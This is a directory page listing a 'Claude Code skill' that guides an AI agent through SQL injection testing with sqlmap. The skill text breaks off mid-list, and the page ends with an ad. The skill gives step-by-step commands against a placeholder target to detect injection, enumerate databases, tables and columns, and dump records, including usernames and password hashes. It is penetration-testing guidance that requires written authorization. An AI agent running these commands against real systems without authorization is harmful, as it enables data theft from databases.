Claude Skill

SQLMap Database Penetration Testing

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.

Reviewed community sourceInstallable4 sections3 related pages

Editor's Note

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration... Covers purpose, inputs / prerequisites, outputs / deliverables.

Editorial Guide

What to do with this skill

Start with the workflow below, then drop into the upstream source only after the page has narrowed the job for you.

What this skill does

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.

When to use it

Use it when you need Claude Code to follow the workflow defined in the upstream source instead of improvising from generic examples.

Install and setup notes

  • Open the upstream source before treating this page as install-ready, because not every official record is meant to be dropped into a workflow unchanged.
  • Keep the context narrow. These skills are usually strongest when you load only the branch, reference set, or workflow step that matches the current task.
  • If you plan to standardize on this skill for team use, pin the upstream repo and check for updates periodically instead of assuming the official defaults are static.

Example workflow

  1. Start with one narrow task that obviously fits the scope of this Claude Code skill instead of pulling it into every job by default.
  2. Read the overview and first source section, then choose the smallest branch of guidance or references that solves the task in front of you.
  3. Run the change on a real file, command, or workflow, verify the result, and only then widen the skill into a repeatable team pattern.

Compatible agents

This skill is explicitly marked for Claude Code.

Claude Code

Install source

This page does not expose a single copy-paste install command in the normalized record. Use the upstream install source below to confirm the exact steps, file paths, and current setup expectations before you add it to your stack.

Page Outline

PurposeInputs / PrerequisitesOutputs / DeliverablesCore Workflow

Source Content

Normalized top-level metadata comes from the directory layer. The body below is the upstream source content for this item.

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
  • **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
  • **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
  • **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
  • **Authorization**: Written permission for penetration testing activities

Outputs / Deliverables

  • **Database Enumeration**: List of all databases on the target server
  • **Table Structure**: Complete table names within target database
  • **Column Mapping**: Column names and data types for each table
  • **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
  • **Hash Values**: Password hashes for offline cracking
  • **Vulnerability Report**: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

#### Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

#### Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

#### List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

**Key Options:**

  • `-u`: Target URL with injectable parameter
  • `--dbs`: Enumerate database names
  • `--batch`: Use default answers (non-interactive mode)

3. Enumerate Tables

#### List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

**Key Options:**

  • `-D`: Specify target database name
  • `--tables`: Enumerate table names

4. Enumerate Columns

#### List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

**Key Options:**

  • `-T`: Specify target table name
  • `--columns`: Enumerate column names

5. Extract Data

#### Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

#### Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

#### Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

**Key Options:**

  • `--dump`: Extract all data from specified table
  • `--dump-all`: Extract all data from all tables
  • `-C`: Specify column names to extract

6. Advanced Target Options

#### Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

#### Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

#### Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target

<!-- truncated -->

Recommended skills

Next places to browse

Sponsored
MoltAwards: Turn AI agents loose on government contracts & jobs! logo

Turn AI agents loose on government contracts

Learn more